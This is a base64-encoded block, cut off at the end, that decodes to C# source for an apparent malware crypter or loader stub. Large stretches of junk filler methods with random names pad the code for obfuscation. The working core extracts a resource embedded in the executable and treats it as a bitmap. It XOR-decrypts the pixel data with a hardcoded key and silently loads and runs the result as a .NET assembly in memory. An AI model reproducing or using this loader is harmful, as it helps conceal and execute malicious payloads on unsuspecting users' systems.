OyAKc3RyaW5nIGNrSExJWFhFID0gIkd1d0tJTGRZIjsgCiBDb25zb2xlLldyaXRlTGluZShja0hMSVhYRSk7dWxvbmcgRXdKd1BPakYgPSA4NTE2NTE3NzcxNDU1NjAyOTsgCnVpbnQgUmprbkVnRm8gPSAyMTUyNzI7IAppbnQgcmlPV2xRc2YgPSAxMzk1OyAKd2hpbGUocmlPV2xRc2YgPT0gMTM5NSl7DQpyaU9XbFFzZiArPSA5MDczOTM7DQp9c2hvcnQgb2NFWVljUkkgPSAxMTYxNzsgCiBieXRlW10gb2NFWVljUklvY0VZWWNSSSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygib2NFWVljUkkiKTtieXRlIEZ3ampka3NmID0gIDE1MDsgCiBFbnZpcm9ubWVudC5FeGl0KDApOw0KfXB1YmxpYyB2b2lkIEh3VWpPS3R3KCl7DQpieXRlIE54cmZvb1l2ID0gIDY1OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUgTkN6U1FFR2ogPSAgLTE5OyAKIENvbnNvbGUuUmVhZExpbmUoKTtpbnQgcWhDUnFZeGUgPSA2Njc3NTA5NDsgCmlmKHFoQ1JxWXhlID09IDI1MjQ2Mil7DQpxaENScVl4ZSA9IDYzMjczMjsNCn1ieXRlIGZ6TEdGWGRtID0gIDEyNjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3VpbnQgeWdZb2Z5Q1UgPSA3MTc1OyAKc3RyaW5nIHVqU3VVSHpxID0gImtSY0hvVGtFIjsgCiBDb25zb2xlLldyaXRlTGluZSh1alN1VUh6cSk7ZG91YmxlIGJjWGtqSkpxID0gMS41MjA2MDdFKzI1OyAKd2hpbGUoYmNYa2pKSnEgPT0gNy40NDUyODhFKzA5KXsNCmJjWGtqSkpxID0gTWF0aC5UcnVuY2F0ZShiY1hrakpKcSk7DQpDb25zb2xlLldyaXRlKGJjWGtqSkpxLlRvU3RyaW5nKCkpOw0KfXVpbnQgc2ZsWk13QmogPSA3NjsgCg0KfXB1YmxpYyB2b2lkIGttS2hHTEZUKCl7DQpzaG9ydCByUVRxUXNBcCA9IC0yMTIzOyAKIGJ5dGVbXSByUVRxUXNBcHJRVHFRc0FwID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJyUVRxUXNBcCIpO3NieXRlIGh5S0VtTXp2ID0gIDY3OyAKIENvbnNvbGUuUmVhZExpbmUoKTtieXRlIEpEeWF0TkZWID0gIDYwOyAKIEVudmlyb25tZW50LkV4aXQoMCk7bG9uZyB0Qmt6V2lBcCA9IDUwNzk2Mzg0NzE1MzMzNTQ3OyAKbG9uZyBmUnFzeG1QeCA9IDIxOTIzMDI5NTY0ODkxNjYyOyAKdWludCBrdW5UWFNydyA9IDIxNDcxNTMzOyAKdWludCBxVndoVldycyA9IDQwNzk1NTE7IAp1bG9uZyBJY3JJWmZseiA9IDEwNjIzNzg5NDMwODYwNjUwOyAKDQp9cHVibGljIHZvaWQgb1NjTFJ3c0koKXsNCmJ5dGUgVHpKQVp3UVogPSAgMTY2OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dXNob3J0IElqaUtGZmdzID0gNDI2MzsgCnVzaG9ydCBTeFNvSVlqVyA9IDEwMjg7IAppbnQgaXhhWVpPdFogPSAzNzQ4MDc7IAppZihpeGFZWk90WiA9PSA2OTg5NzQpew0KaXhhWVpPdFogPSBpeGFZWk90WiArIDI5MzcxMjsNCn1pbnQgS0xldklXTGEgPSA5MTg0OTE7IAp3aGlsZShLTGV2SVdMYSA9PSA5MTg0OTEpew0KS0xldklXTGEgKz0gMTg3OTU4Ow0KfWZsb2F0IGZjTUJwc0Z5ID0gMS41MjM0ODJFLTIxRjsgCmludCB0dkxTV1pqcyA9IDE2NzsgCndoaWxlKHR2TFNXWmpzID09IDE2Nyl7DQp0dkxTV1pqcyArPSA4ODYwMjU7DQp9ZG91YmxlIExwYlRIWk5rID0gLTUuNjYwMTU5RS0yODsgCmlmKExwYlRIWk5rID09IDQuNzEyOTQ4RS0wNyl7DQpkb3VibGUgQnN3RVVUTW9XR2tKeWtSRmNsViA9IDEuMjIzMTY0RS0xNDsNCkNvbnNvbGUuV3JpdGUoTHBiVEhaTmsuVG9TdHJpbmcoKSk7DQp9DQp9cHVibGljIHZvaWQgUnVHZVZFZWooKXsNCmxvbmcgUnB2ZkRsZ20gPSA1MDQ5NTUxNTQ2ODY4MzcyMTsgCnVpbnQgQVJZRklFTkYgPSAyMjA4MzEzNjsgCnVsb25nIGR0eERtR1F3ID0gMzU4Mjk5MTY4MDU1MzA0NzI7IAppbnQgZ29rV2t3R1YgPSAzMzg3NDE7IAp3aGlsZShnb2tXa3dHViA9PSAzMzg3NDEpew0KZ29rV2t3R1YgPSAyNTI5MjA7DQp9dWxvbmcgb1p3cHpiWEYgPSA0MzA1NjQyMzEzMjMzMjQwMDsgCnVsb25nIHdZTUlzVFBKID0gNDA0MTYxNTY0MjI5NjcwNjg7IAp1c2hvcnQgbExnVmNLcUYgPSA2MTMzMDsgCmRvdWJsZSB4b1pLcFpRaCA9IC0xLjgwMDUwMkUtMTU7IAppZih4b1pLcFpRaCA9PSA5LjkzMjE0M0UrMzApew0KZG91YmxlIHZkbll5VWNERFNRID0gLTMuOTYyNzQ1RS0yODsNCnhvWktwWlFoID0gTWF0aC5Sb3VuZCh2ZG5ZeVVjRERTUSAsMSxNaWRwb2ludFJvdW5kaW5nLlRvRXZlbik7DQpDb25zb2xlLldyaXRlTGluZSh4b1pLcFpRaC5Ub1N0cmluZygpKTsNCn0NCn1wdWJsaWMgdm9pZCBSRGRhdWZDQigpew0KZmxvYXQgWW9WWnByZWogPSAtMS4yNzA3MzRFKzE0RjsgCnN0cmluZyBHYm9OY0pxUyA9ICJDcW1xRVpWQyI7IAogQ29uc29sZS5Xcml0ZUxpbmUoR2JvTmNKcVMpO3NieXRlIHdMTUVQZ0RqID0gIDEzOyAKIENvbnNvbGUuUmVhZExpbmUoKTtsb25nIHJQVVhoTEFNID0gMjE2MTE1NzMzMzkyNDU0NTY7IApsb25nIFZKWHBnb1pBID0gMjE5MTYwNzU1MTc4NDc5MjM7IApzaG9ydCBZU2JIbW1MTCA9IDI4NzkzOyAKIGJ5dGVbXSBZU2JIbW1MTFlTYkhtbUxMID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJZU2JIbW1MTCIpO2Zsb2F0IFhobnF5UVVCID0gNy41ODkyOEUrMjhGOyAKdWxvbmcgVGNBTGVJSkwgPSAyMTMzNjQzNzIzMjg2Njc0OyAKDQp9cHVibGljIHZvaWQgUXhMQW1Ja3ooKXsNCmZsb2F0IERuY2JpUGVrID0gMS4wNTAyMzJFLTI0RjsgCnVzaG9ydCBGWm50RERkYiA9IDU4NTAxOyAKZmxvYXQgSUNubWx2RWggPSAtMC4wMDAxNTQ1OTAyRjsgCnVpbnQgTEhPZmJPeXkgPSAxMjI3Njk1MzQ7IApsb25nIERQQ3NQelljID0gNjA1MDA5OTM2MjQ5NjM7IApzdHJpbmcgT3l4c05LUUkgPSAib0N0WlFvd2ciOyAKIENvbnNvbGUuV3JpdGVMaW5lKE95eHNOS1FJKTt1c2hvcnQgREtHQ3BTc3ogPSA3MTYyOyAKZmxvYXQganZEcWdYckkgPSAtMS4yMTU1N0UtMjhGOyAKDQp9Cn0gDQoNCiAgICBjbGFzcyBQcm9ncmFtDQogICAgew0KDQogICAgICAgIHN0YXRpYyBzdHJpbmcgR2dtTGZqVkZac2VvZCA9ICIjcGFzcyMiOw0KICAgICAgICBwcml2YXRlIHN0YXRpYyBieXRlW10gb01qWnZCaChieXRlW10gYnl0ZXMpDQogICAgICAgIHsNCiAgICAgICAgICAgIGJ5dGVbXSBieXRlQXJyYXkgPSBFbmNvZGluZy5Vbmljb2RlLkdldEJ5dGVzKEdnbUxmalZGWnNlb2QpOw0KICAgICAgICAgICAgZm9yIChpbnQgaSA9IDA7IGkgPCBieXRlcy5MZW5ndGg7IGkrKykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBieXRlc1tpXSBePSBieXRlQXJyYXlbaSAlIDE2XTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBieXRlczsNCiAgICAgICAgfQ0KCQkNCgkJcHJpdmF0ZSBzdGF0aWMgYnl0ZVtdIENvbnZlcnRGcm9tQm1wKFN5c3RlbS5EcmF3aW5nLkJpdG1hcCBiKQ0KICAgICAgICB7DQogICAgICAgICAgICBpbnQgbCA9IGIuV2lkdGg7DQogICAgICAgICAgICBpbnQgbiA9IGwgKiBsICogNDsNCiAgICAgICAgICAgIGJ5dGVbXSBidWZmID0gbmV3IGJ5dGVbbl07DQogICAgICAgICAgICBpbnQgayA9IDA7DQoNCiAgICAgICAgICAgIGZvciAoaW50IHggPSAwOyB4IDwgbDsgeCsrKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGZvciAoaW50IHkgPSAwOyB5IDwgbDsgeSsrKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgQnVmZmVyLkJsb2NrQ29weShCaXRDb252ZXJ0ZXIuR2V0Qnl0ZXMoYi5HZXRQaXhlbCh4LCB5KS5Ub0FyZ2IoKSksIDAsIGJ1ZmYsIGssIDQpOw0KICAgICAgICAgICAgICAgICAgICBrICs9IDQ7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpbnQgbGVuID0gQml0Q29udmVydGVyLlRvSW50MzIoYnVmZiwgMCk7DQogICAgICAgICAgICBieXRlW10gZiA9IG5ldyBieXRlW2xlbl07DQogICAgICAgICAgICBCdWZmZXIuQmxvY2tDb3B5KGJ1ZmYsIDQsIGYsIDAsIGYuTGVuZ3RoKTsNCiAgICAgICAgICAgIHJldHVybiBmOw0KICAgICAgICB9DQoJCQ0KCQkNCgkJc3RhdGljIGJ5dGVbXSBUdHlpRDsNCgkJcHVibGljIHN0YXRpYyB2b2lkIGZlUFNYVFRFSkpIY2x5bHMoKQ0KCQl7DQoJCQlBc3NlbWJseS5Mb2FkKFR0eWlEKS5FbnRyeVBvaW50Lkludm9rZShudWxsLCBuZXcgb2JqZWN0W10geyBuZXcgc3RyaW5nW10geyB9IH0pOw0KCQl9DQoJCQ0KCQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCgkJc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFJlc291cmNlKEludFB0ciBoTW9kdWxlLCBJbnRQdHIgbHBOYW1lLCBJbnRQdHIgbHBUeXBlKTsNCgkJDQoJCVtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvcj10cnVlKV0NCgkJc3RhdGljIGV4dGVybiB1aW50IFNpemVvZlJlc291cmNlKEludFB0ciBoTW9kdWxlLCBJbnRQdHIgaFJlc0luZm8pOw0KCQkNCgkJW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yPXRydWUpXQ0KCQlzdGF0aWMgZXh0ZXJuIEludFB0ciBMb2FkUmVzb3VyY2UoSW50UHRyIGhNb2R1bGUsIEludFB0ciBoUmVzSW5mbyk7DQoJCQ0KCQlbRGxsSW1wb3J0KCJrZXJuZWwzMi5kbGwiKV0NCgkJc3RhdGljIGV4dGVybiBJbnRQdHIgTG9ja1Jlc291cmNlKEludFB0ciBoUmVzRGF0YSk7DQoJCQ0KDQoJCXB1YmxpYyBzdGF0aWMgQml0bWFwIEJ5dGUySW1hZ2UoYnl0ZVtdIGltZykNCiAgICAgICAgew0KICAgICAgICAgICAgdXNpbmcgKHZhciBzdHJlYW0gPSBuZXcgTWVtb3J5U3RyZWFtKGltZykpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBCaXRtYXAoc3RyZWFtKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KCQkNCiAgICAgICAgc3RhdGljIHZvaWQgTWFpbigpDQogICAgICAgIHsNCiAgICAgICAgICAgIHRyeQ0KICAgICAgICAgICAgewkJDQoJCQkJSW50UHRyIGZSZXNvdXJjZSA9IEZpbmRSZXNvdXJjZShuZXcgSW50UHRyKDApLCBuZXcgSW50UHRyKDE1MiksIG5ldyBJbnRQdHIoMjMpKTsNCgkJCQl1aW50IHNSZXNvdXJjZSA9IFNpemVvZlJlc291cmNlKG5ldyBJbnRQdHIoMCksIGZSZXNvdXJjZSk7DQoJCQkJSW50UHRyIGxSZXNvdXJjZSA9IExvYWRSZXNvdXJjZShuZXcgSW50UHRyKDApLCBmUmVzb3VyY2UpOw0KCQkJCUludFB0ciBkUmVzb3VyY2UgPSBMb2NrUmVzb3VyY2UobFJlc291cmNlKTsNCgkJCQkNCgkJCQlUdHlpRCA9IG5ldyBieXRlW3NSZXNvdXJjZV07DQoJCQkJU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWwuQ29weShkUmVzb3VyY2UsIFR0eWlELCAwLCBTeXN0ZW0uQ29udmVydC5Ub0ludDMyKHNSZXNvdXJjZSkpOw0KCQkJCVR0eWlEID0gb01qWnZCaChDb252ZXJ0RnJvbUJtcChCeXRlMkltYWdlKFR0eWlEKSkpOw0KCQkJCQ0KCQkJCVN5c3RlbS5UaHJlYWRpbmcuVGhyZWFkIHRociA9IG5ldyBTeXN0ZW0uVGhyZWFkaW5nLlRocmVhZChmZVBTWFRURUpKSGNseWxzKTsNCgkJCQl0aHIuU3RhcnQoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGNhdGNoDQogICAgICAgICAgICB7DQoNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCgkNCglwdWJsaWMgY2xhc3MgcGdHRWpKYm17cHVibGljIHZvaWQgaUhzaGdHbHEoKXsNCnN0cmluZyBxWmlFVU9qUiA9ICJNRVRUbFZjWiI7IAogQ29uc29sZS5Xcml0ZUxpbmUocVppRVVPalIpO3VzaG9ydCBqSWx2VFFBViA9IDY0NTUyOyAKdXNob3J0IG1KTVBqbWJoID0gMzM1Mjc7IApmbG9hdCBLVVdsclB5dyA9IDEuNDA2NjY4RS0zOEY7IApkb3VibGUgUFFTYVZUTlMgPSA4Ljg1ODI5NEUtMzI7IAp3aGlsZShQUVNhVlROUyA9PSAtNC4xMzE0MThFKzI3KXsNClBRU2FWVE5TID0gTWF0aC5DZWlsaW5nKE1hdGguQ29zKDIpKTsNCmludFtdIExmaElaID0geyA5NDg2MjUzICwgMjY3NiB9IDsNClJhbmRvbSBGekNsWD0gbmV3IFJhbmRvbSgpOw0KQ29uc29sZS5Xcml0ZUxpbmUoTGZoSVpbRnpDbFguTmV4dCgwLDIpXSk7DQp9ZmxvYXQgcGlEUXlvQnYgPSAtNC43MjIwMThFLTA2RjsgCnN0cmluZyB5TktZUnd5VCA9ICJGa2NNWHhSTyI7IAogQ29uc29sZS5Xcml0ZUxpbmUoeU5LWVJ3eVQpO2Zsb2F0IE9TV1Nwa2dFID0gLTMuNzA3NTlFKzM2RjsgCg0KfXB1YmxpYyB2b2lkIHhlamh4V2VaKCl7DQp1c2hvcnQgRG5DVWdydmggPSA4Nzk4OyAKbG9uZyBRWXlCUEpCVSA9IDgyNzk5ODkzODY0NjY4NDQxOyAKbG9uZyB3YXVPWmRCZiA9IDMxNjUyNzE4MjY2MzM0NDQxOyAKaW50IG1zSXpjVmdiID0gMzkwNTY7IAp3aGlsZShtc0l6Y1ZnYiA9PSAzOTA1Nil7DQptc0l6Y1ZnYiA9IG1zSXpjVmdiICsgNzQ3MTI7DQp9bG9uZyBxRW1SUklicSA9IDI1OTEwODM0OTI2NTQ4MDgyOyAKZmxvYXQgWnh2bFBXZFQgPSAzLjEwMzgwN0UtMjFGOyAKdWludCBNbE55aFBMQiA9IDIzNzI7IApzdHJpbmcga21Mc25IYlQgPSAiQmR4U2ZwZ2siOyAKIENvbnNvbGUuV3JpdGVMaW5lKGttTHNuSGJUKTsNCn1wdWJsaWMgdm9pZCBBcVNhS2xZSygpew0KbG9uZyBUdmRMVm9zeSA9IDM1NzQzMTQ4Nzk4OTg5MDI4OyAKc2J5dGUgcmtuVlFkbnggPSAgLTU3OyAKIENvbnNvbGUuUmVhZExpbmUoKTtkb3VibGUgenF5TG1KbUUgPSAzLjY0ODI2NEUtMjg7IApkb3VibGUgbG1DaWN6ZVZ4SlNjaWtFcWFweHggPSBNYXRoLklFRUVSZW1haW5kZXIoMywgNCk7DQp6cXlMbUptRSA9IGxtQ2ljemVWeEpTY2lrRXFhcHh4Ow0KdHJ5ew0KQ29uc29sZS5Xcml0ZUxpbmUoenF5TG1KbUUuVG9TdHJpbmcoKSk7DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCkNvbnNvbGUuV3JpdGVMaW5lKGV4Lk1lc3NhZ2UpOw0KfWRvdWJsZSBqaVZnUGZEbiA9IDUuODM4MzM1RS0zMzsgCmppVmdQZkRuID0gTWF0aC5DZWlsaW5nKE1hdGguVGFuKDEpKTsNCkNvbnNvbGUuV3JpdGUoamlWZ1BmRG4uVG9TdHJpbmcoKSk7bG9uZyBQTE5VcE9MeSA9IDM1Nzg3NTkyOTQ5NjUyMTQ4OyAKYnl0ZSBqd29SRk5VbyA9ICAxNzg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtieXRlIHlZamt2WGdwID0gIDg1OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUgelJ1WHZQZXggPSAgLTUwOyAKIENvbnNvbGUuUmVhZExpbmUoKTsNCn1wdWJsaWMgdm9pZCBXcnlMYWRiQygpew0KdXNob3J0IEZVblp3RWRmID0gNjM3NjI7IApzaG9ydCB3eWZ3ckVMVSA9IC0xMTQyNzsgCiBieXRlW10gd3lmd3JFTFV3eWZ3ckVMVSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygid3lmd3JFTFUiKTtzdHJpbmcgY2hMcVZ6QWUgPSAiU2dNQ1pvU1AiOyAKIENvbnNvbGUuV3JpdGVMaW5lKGNoTHFWekFlKTt1c2hvcnQgSHZySG5vTkggPSAyNDc1NTsgCnVsb25nIHZHeGhJelFUID0gMTYzNzA4OTE5NTc4OTA3NjQ7IAp1c2hvcnQgdEFSdmd2TGsgPSAyNDY5MTsgCmZsb2F0IGhIR3F3YkJGID0gLTguNjcyNzI1RSsyN0Y7IAp1c2hvcnQgR01CbGFhYVQgPSAyNDM5MjsgCg0KfXB1YmxpYyB2b2lkIFdzV2d5d2JPKCl7DQpsb25nIHRCeG50Sm1yID0gOTk1NzQ4ODk0MDEyNTc4MDsgCnVpbnQgZ0ZxQlRVZVcgPSA4MTE2MDkzOTA7IApsb25nIFNqYlVXQ2JrID0gNjYwMTc2MDg3MTE2NjM3MjQ7IApmbG9hdCB5VmpHQktVWCA9IDEuMTM1ODk5RS0wOUY7IApkb3VibGUgZHlpWWlYbGYgPSA1Ljg0MzYxNEUtMDY7IAppZihkeWlZaVhsZiA9PSAxLjgyMTYxOUUtMzEpew0KZHlpWWlYbGYgPSBNYXRoLkNlaWxpbmcoTWF0aC5TaW5oKC01KSk7DQoNCn11aW50IERDbXl5RERYID0gODU0NDsgCnN0cmluZyBKWWxnaGtNeCA9ICJyT3hxaGZrVCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoSllsZ2hrTXgpO3Nob3J0IEJ0UkVvamRjID0gMjE0OTI7IAogYnl0ZVtdIEJ0UkVvamRjQnRSRW9qZGMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkJ0UkVvamRjIik7DQp9cHVibGljIHZvaWQgQ1dzQmVxcmsoKXsNCnVzaG9ydCBXSENKQlFRZiA9IDU5OTI0OyAKaW50IFBEUmlxY0N4ID0gNDU0ODA2OyAKd2hpbGUoUERSaXFjQ3ggPT0gNDU0ODA2KXsNClBEUmlxY0N4ICs9IDEzMTQ5MDsNCn1sb25nIENQaWNhQ3RYID0gODc0MTAzNTkyMDc4MDEzMjU7IApzdHJpbmcgbmxOUnpMRGsgPSAicEdOTFBmWG4iOyAKIENvbnNvbGUuV3JpdGVMaW5lKG5sTlJ6TERrKTtpbnQgb2lsQUFncGQgPSAzNTsgCmlmKG9pbEFBZ3BkID09IDk1MDE2Myl7DQpvaWxBQWdwZCA9IDg3NjM3NTsNCn1ieXRlIFR5cXhXbWFhID0gIDc3OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2hvcnQgTHVnbkRLTGYgPSAtNzEzMjsgCiBieXRlW10gTHVnbkRLTGZMdWduREtMZiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiTHVnbkRLTGYiKTt1c2hvcnQgT1NGZ0h3UXMgPSA1MTY3NDsgCg0KfXB1YmxpYyB2b2lkIER0SE5IZENUKCl7DQp1bG9uZyBuekRFRnVCeCA9IDY4NTQ3NjYxNTYxMjk1Nzk1OyAKc2J5dGUgRWxnTGpLZFQgPSAgLTkyOyAKIENvbnNvbGUuUmVhZExpbmUoKTtzaG9ydCBVQk5nZm5zdCA9IC03MzsgCiBieXRlW10gVUJOZ2Zuc3RVQk5nZm5zdCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiVUJOZ2Zuc3QiKTtkb3VibGUgS2JIa0pBeUwgPSAtMi4zMzE3MjJFLTMxOyAKd2hpbGUoS2JIa0pBeUwgPT0gMi4xMjkxNTVFLTE2KXsNCktiSGtKQXlMID0gTWF0aC5DZWlsaW5nKE1hdGguVGFuKDEpKTsNCm9iamVjdCBQS29ZaE9aV2NiV1FQWUNQamY7DQpQS29ZaE9aV2NiV1FQWUNQamYgPSAyLjQ3NDc3NkUrMzA7DQp9Ynl0ZSBsT0dpUGF4TyA9ICA4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2hvcnQgVnpLRlhpUnIgPSAxODg0MTsgCiBieXRlW10gVnpLRlhpUnJWektGWGlSciA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiVnpLRlhpUnIiKTtsb25nIGpkcmFmeXhuID0gMTg3NTAzODM3MTMyMjY4ODk7IAp1c2hvcnQgcmJUbWhHYXUgPSAxNzQ0NzsgCg0KfXB1YmxpYyB2b2lkIFh0VEVySmthKCl7DQpieXRlIENJQlZ6b1ZMID0gIDE4OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUgcExvZFVBZFUgPSAgOTM7IAogQ29uc29sZS5SZWFkTGluZSgpO3NieXRlIHptRkRnRGRKID0gIC0xMjY7IAogQ29uc29sZS5SZWFkTGluZSgpO2ludCBtaW9zV256aiA9IDQzOyAKd2hpbGUobWlvc1duemogPT0gNDMpew0KbWlvc1duemogKz0gNDY2Mjc4Ow0KfWxvbmcgQ3FoeFdPS0MgPSA4MDc0MzI2NjQ5MTQ1MzE1MjsgCmJ5dGUgUXNaVXJ0dE8gPSAgMTIwOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUgVEdJQ3FIVmMgPSAgODI7IAogQ29uc29sZS5SZWFkTGluZSgpO3NieXRlIFhZTVdya1FvID0gIC04MjsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9Cn0gcHVibGljIGNsYXNzIFhQYWZYelZre3B1YmxpYyB2b2lkIGtXdExsZE9qKCl7DQp1c2hvcnQgU1hEVXRsUlkgPSA0NTE2NDsgCmRvdWJsZSBsWkFLTnZJWCA9IDEuMjMzMjE3RSsyNTsgCmxaQUtOdklYID0gTWF0aC5TcXJ0KDQpOw0KQ29uc29sZS5Xcml0ZUxpbmUobFpBS052SVguVG9TdHJpbmcoKSk7dWludCBlWmxud3hTSCA9IDU4NDk2MDk0OyAKdWludCBYV0lmcGxQUCA9IDIzOyAKc2hvcnQgWFJ6UEpvRUUgPSAyNTUxNTsgCiBieXRlW10gWFJ6UEpvRUVYUnpQSm9FRSA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiWFJ6UEpvRUUiKTtieXRlIFJ5ZEZ2WkNtID0gIDY3OyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2hvcnQgbmFzeXZQRmMgPSA0Mjk7IAogYnl0ZVtdIG5hc3l2UEZjbmFzeXZQRmMgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIm5hc3l2UEZjIik7dWludCBzcnV6b2xYRiA9IDg0NjQ2MzEzOTsgCg0KfXB1YmxpYyB2b2lkIFBuWE1DUEZpKCl7DQpmbG9hdCBsQmlpTkZMSCA9IC02LjMyMjQ5N0Y7IAp1c2hvcnQgS0drSGhNTFEgPSA4MDc5OyAKZmxvYXQgWEJMdWZoYXYgPSA3LjA4MzM0OUUtMDdGOyAKc2hvcnQgenBOd0ZrRksgPSAtMjA1MDsgCiBieXRlW10genBOd0ZrRkt6cE53RmtGSyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygienBOd0ZrRksiKTtmbG9hdCBHdnJkTG9UZSA9IC0yLjMzNTk3NEUtMzdGOyAKdWxvbmcgbVVGekptcU0gPSA1MDE5NzE0MTQwODg3MDQyNDsgCnVsb25nIFZMVEF5bkpEID0gNDgwMzAzMTQwNjY4OTM1MTA7IApzYnl0ZSBtRUt5a0thYyA9ICAtMTAxOyAKIENvbnNvbGUuUmVhZExpbmUoKTsNCn1wdWJsaWMgdm9pZCBJSW9BRUlUaCgpew0KaW50IEhGZERwRlRwID0gMjYwNDk3Mjg0OyAKd2hpbGUoSEZkRHBGVHAgPT0gMjYwNDk3Mjg0KXsNCkhGZERwRlRwID0gSEZkRHBGVHAgKyA2MjE3MDE7DQp9c2J5dGUgVkdReFNFclMgPSAgLTEyMTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7dXNob3J0IHBmRE55anRCID0gNDI5Njg7IApzaG9ydCBnSnpQb1NBcyA9IC0yNDc3MjsgCiBieXRlW10gZ0p6UG9TQXNnSnpQb1NBcyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiZ0p6UG9TQXMiKTtkb3VibGUgbEVDWUpWbHQgPSAtMS4zMTAxMzZFLTI3OyAKbEVDWUpWbHQgPSBNYXRoLlBvdyhkb3VibGUuTmVnYXRpdmVJbmZpbml0eSwgMik7DQp0cnl7DQppbnQgbUp3bGZJT0prV0RiUmZkS2VMcEtYa1VuID0gODM5MDA0NjsNCmlmKG1Kd2xmSU9Ka1dEYlJmZEtlTHBLWGtVbiA9PSA2MTcxMCl7DQptSndsZklPSmtXRGJSZmRLZUxwS1hrVW4rKzsNCn1lbHNlew0KbUp3bGZJT0prV0RiUmZkS2VMcEtYa1VuLS07DQpDb25zb2xlLldyaXRlKG1Kd2xmSU9Ka1dEYlJmZEtlTHBLWGtVbi5Ub1N0cmluZygpKTsNCn0NCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9dWxvbmcgdURwbXNURGogPSA4Mzk5ODY2ODIwNDgwNzYxMTsgCnNob3J0IEh0Q0VIVE5wID0gMTUwODQ7IAogYnl0ZVtdIEh0Q0VIVE5wSHRDRUhUTnAgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkh0Q0VIVE5wIik7Ynl0ZSBVQktoRWVQSCA9ICAyMjg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTsNCn1wdWJsaWMgdm9pZCBGaFdNY21uZCgpew0KdXNob3J0IFVUSHFjd2tlID0gMTg3MjM7IAp1bG9uZyBQZVVEVURNViA9IDE1MTM3OTE0ODY0NTY2MDY0OyAKYnl0ZSBGWVhVZG5pViA9ICAxNzc7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtzdHJpbmcgRHFFZ2FIb08gPSAiUnB2QVFvVnUiOyAKIENvbnNvbGUuV3JpdGVMaW5lKERxRWdhSG9PKTtkb3VibGUgZWdCa2R2U3QgPSAtMTQuMTAzMTI7IAppZihlZ0JrZHZTdCA9PSAxLjgwMzI4NUUrMTgpew0KZG91YmxlIGZiY0NpSWFIR1RXUkggPSAtMy4xNjM4MTlFLTI1Ow0KZWdCa2R2U3QgPSBNYXRoLlJvdW5kKGZiY0NpSWFIR1RXUkgpOw0Kb2JqZWN0IERuVEhsQ3RsTHd4Qk1TTm1WTWVhcXo7DQpEblRIbEN0bEx3eEJNU05tVk1lYXF6ID0gLTEuNjU1MjE2RSszNzsNCn11bG9uZyBST3VyZkRyWSA9IDc1NzcyODE4MTYwNDIwMjgyOyAKc2hvcnQgcHJ5eGhDT2IgPSAtNDc1NzsgCiBieXRlW10gcHJ5eGhDT2Jwcnl4aENPYiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygicHJ5eGhDT2IiKTtsb25nIE9kSUpnZ2dwID0gNzA5MzA4MzM5MzMwODM2NzA7IAoNCn1wdWJsaWMgdm9pZCB2V1ZNcXpLVigpew0KdWludCBKREZ0R3JlRyA9IDYxNDQwMzsgCnVzaG9ydCBWbUJQVWRLYiA9IDI2MjA0OyAKZG91YmxlIGhwTXR5WEZqID0gLTEuMjEwNDk2RS0yMTsgCmhwTXR5WEZqID0gTWF0aC5DZWlsaW5nKE1hdGguQXNpbigwLjIpKTsNCnN0cmluZyBOeFdUU3RQQyA9ICJIWm5VcENxRCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoTnhXVFN0UEMpO2RvdWJsZSBGc0RWbm1TRiA9IC0xLjY4MjUwOUUrMTU7IAp3aGlsZShGc0RWbm1TRiA9PSAtMS44NjcyNTZFKzI4KXsNCkZzRFZubVNGID0gTWF0aC5DZWlsaW5nKE1hdGguQXNpbigwLjI